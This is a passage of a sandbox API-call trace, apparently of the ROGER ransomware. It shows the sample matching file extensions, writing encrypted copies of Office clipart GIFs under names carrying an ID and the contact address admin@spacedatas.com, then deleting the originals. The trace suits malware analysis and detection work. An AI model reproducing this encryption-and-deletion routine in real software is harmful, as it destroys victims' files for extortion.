lpString2=".GIF") returned 1 [0056.184] lstrlenW (lpString=".rar") returned 4 [0056.184] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.184] lstrlenW (lpString=".bz2") returned 4 [0056.184] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.184] lstrlenW (lpString=".7z") returned 3 [0056.184] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0056.184] lstrlenW (lpString=".dbf") returned 4 [0056.184] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0056.184] lstrlenW (lpString=".1cd") returned 4 [0056.184] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0056.184] lstrlenW (lpString=".jpg") returned 4 [0056.184] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0056.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0056.184] lstrlenW (lpString=".doc") returned 4 [0056.184] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.185] lstrlenW (lpString=".docx") returned 5 [0056.185] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.185] lstrlenW (lpString=".pdf") returned 4 [0056.185] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.185] lstrlenW (lpString=".xls") returned 4 [0056.185] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.185] lstrlenW (lpString=".xlsx") returned 5 [0056.185] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.185] lstrlenW (lpString=".ppt") returned 4 [0056.185] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0056.185] lstrlenW (lpString=".zip") returned 4 [0056.185] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.185] lstrlenW (lpString=".rar") returned 4 [0056.185] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.185] lstrlenW (lpString=".bz2") returned 4 [0056.185] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.185] lstrlenW (lpString=".7z") returned 3 [0056.185] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0056.185] lstrlenW (lpString=".dbf") returned 4 [0056.185] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0056.185] lstrlenW (lpString=".1cd") returned 4 [0056.185] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0056.185] lstrlenW (lpString=".jpg") returned 4 [0056.185] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.185] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.186] lstrlenW (lpString="AG00142_.GIF") returned 12 [0056.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0056.186] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=15308) returned 1 [0056.186] CloseHandle (hObject=0x39c) returned 1 [0056.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0056.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0056.186] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.186] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0056.187] GetLastError () returned 0x0 [0056.187] ReadFile (in: hFile=0x39c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0056.189] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x3bd0, lpOverlapped=0x0) returned 1 [0056.191] ReadFile (in: hFile=0x39c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.192] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.192] SetEndOfFile (hFile=0x3d8) returned 1 [0056.192] CloseHandle (hObject=0x3d8) returned 1 [0056.192] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.192] SetEndOfFile (hFile=0x39c) returned 1 [0056.193] CloseHandle (hObject=0x39c) returned 1 [0056.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0056.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0056.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0056.193] lstrlenW (lpString=".doc") returned 4 [0056.193] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.193] lstrlenW (lpString=".docx") returned 5 [0056.193] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.193] lstrlenW (lpString=".pdf") returned 4 [0056.193] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.193] lstrlenW (lpString=".xls") returned 4 [0056.193] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.194] lstrlenW (lpString=".xlsx") returned 5 [0056.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.194] lstrlenW (lpString=".ppt") returned 4 [0056.194] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0056.194] lstrlenW (lpString=".zip") returned 4 [0056.194] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.194] lstrlenW (lpString=".rar") returned 4 [0056.194] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.194] lstrlenW (lpString=".bz2") returned 4 [0056.194] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.194] lstrlenW (lpString=".7z") returned 3 [0056.194] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0056.194] lstrlenW (lpString=".dbf") returned 4 [0056.194] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0056.194] lstrlenW (lpString=".1cd") returned 4 [0056.194] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0056.194] lstrlenW (lpString=".jpg") returned 4 [0056.194] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0056.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0056.194] lstrlenW (lpString=".doc") returned 4 [0056.194] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.194] lstrlenW (lpString=".docx") returned 5 [0056.194] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.194] lstrlenW (lpString=".pdf") returned 4 [0056.194] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.194] lstrlenW (lpString=".xls") returned 4 [0056.194] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.195] lstrlenW (lpString=".xlsx") returned 5 [0056.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.195] lstrlenW (lpString=".ppt") returned 4 [0056.195] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0056.195] lstrlenW (lpString=".zip") returned 4 [0056.195] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.195] lstrlenW (lpString=".rar") returned 4 [0056.195] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.195] lstrlenW (lpString=".bz2") returned 4 [0056.195] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.195] lstrlenW (lpString=".7z") returned 3 [0056.195] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0056.195] lstrlenW (lpString=".dbf") returned 4 [0056.195] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0056.196] lstrlenW (lpString=".1cd") returned 4 [0056.196] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0056.196] lstrlenW (lpString=".jpg") returned 4 [0056.196] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.196] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.196] lstrlenW (lpString="AG00154_.GIF") returned 12 [0056.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0056.196] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=5315) returned 1 [0056.196] CloseHandle (hObject=0x39c) returned 1 [0056.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0056.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0056.197] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.197] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0056.197] GetLastError () returned 0x0 [0056.197] ReadFile (in: hFile=0x39c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x14c3, lpOverlapped=0x0) returned 1 [0057.063] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0057.064] ReadFile (in: hFile=0x39c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.064] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.064] SetEndOfFile (hFile=0x3d8) returned 1 [0057.064] CloseHandle (hObject=0x3d8) returned 1 [0057.064] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.064] SetEndOfFile (hFile=0x39c) returned 1 [0057.065] CloseHandle (hObject=0x39c) returned 1 [0057.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0057.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0057.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0057.068] lstrlenW (lpString=".doc") returned 4 [0057.068] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.068] lstrlenW (lpString=".docx") returned 5 [0057.068] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.068] lstrlenW (lpString=".pdf") returned 4 [0057.068] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.068] lstrlenW (lpString=".xls") returned 4 [0057.068] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.068] lstrlenW (lpString=".xlsx") returned 5 [0057.068] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.068] lstrlenW (lpString=".ppt") returned 4 [0057.068] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0057.068] lstrlenW (lpString=".zip") returned 4 [0057.068] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.068] lstrlenW (lpString=".rar") returned 4 [0057.068] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.068] lstrlenW (lpString=".bz2") returned 4 [0057.068] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.068] lstrlenW (lpString=".7z") returned 3 [0057.068] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0057.068] lstrlenW (lpString=".dbf") returned 4 [0057.068] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0057.068] lstrlenW (lpString=".1cd") returned 4 [0057.068] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0057.069] lstrlenW (lpString=".jpg") returned 4 [0057.069] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0057.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0057.069] lstrlenW (lpString=".doc") returned 4 [0057.069] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.069] lstrlenW (lpString=".docx") returned 5 [0057.069] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.069] lstrlenW (lpString=".pdf") returned 4 [0057.069] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.069] lstrlenW (lpString=".xls") returned 4 [0057.069] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.069] lstrlenW (lpString=".xlsx") returned 5 [0057.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.069] lstrlenW (lpString=".ppt") returned 4 [0057.069] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0057.069] lstrlenW (lpString=".zip") returned 4 [0057.069] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.069] lstrlenW (lpString=".rar") returned 4 [0057.069] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.069] lstrlenW (lpString=".bz2") returned 4 [0057.069] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.069] lstrlenW (lpString=".7z") returned 3 [0057.069] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0057.070] lstrlenW (lpString=".dbf") returned 4 [0057.070] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0057.070] lstrlenW (lpString=".1cd") returned 4 [0057.070] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0057.070] lstrlenW (lpString=".jpg") returned 4 [0057.070] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.070] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0057.070] lstrlenW (lpString="AG00164_.GIF") returned 12 [0057.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0057.070] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=13254) returned 1 [0057.070] CloseHandle (hObject=0x39c) returned 1 [0057.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0057.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0057.071] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.071] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0057.071] GetLastError () returned 0x0 [0057.071] ReadFile (in: hFile=0x39c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x33c6, lpOverlapped=0x0) returned 1 [0057.270] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x33d0, lpOverlapped=0x0) returned 1 [0057.271] ReadFile (in: hFile=0x39c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.271] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.271] SetEndOfFile (hFile=0x3d8) returned 1 [0057.271] CloseHandle (hObject=0x3d8) returned 1 [0057.271] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.271] SetEndOfFile (hFile=0x39c) returned 1 [0057.272] CloseHandle (hObject=0x39c) returned 1 [0057.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0057.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0057.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0057.273] lstrlenW (lpString=".doc") returned 4 [0057.273] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.273] lstrlenW (lpString=".docx") returned 5 [0057.273] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.273] lstrlenW (lpString=".pdf") returned 4 [0057.273] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.273] lstrlenW (lpString=".xls") returned 4 [0057.273] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.273] lstrlenW (lpString=".xlsx") returned 5 [0057.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.273] lstrlenW (lpString=".ppt") returned 4 [0057.273] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0057.273] lstrlenW (lpString=".zip") returned 4 [0057.273] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.273] lstrlenW (lpString=".rar") returned 4 [0057.273] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.273] lstrlenW (lpString=".bz2") returned 4 [0057.273] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.273] lstrlenW (lpString=".7z") returned 3 [0057.273] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0057.273] lstrlenW (lpString=".dbf") returned 4 [0057.273] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0057.273] lstrlenW 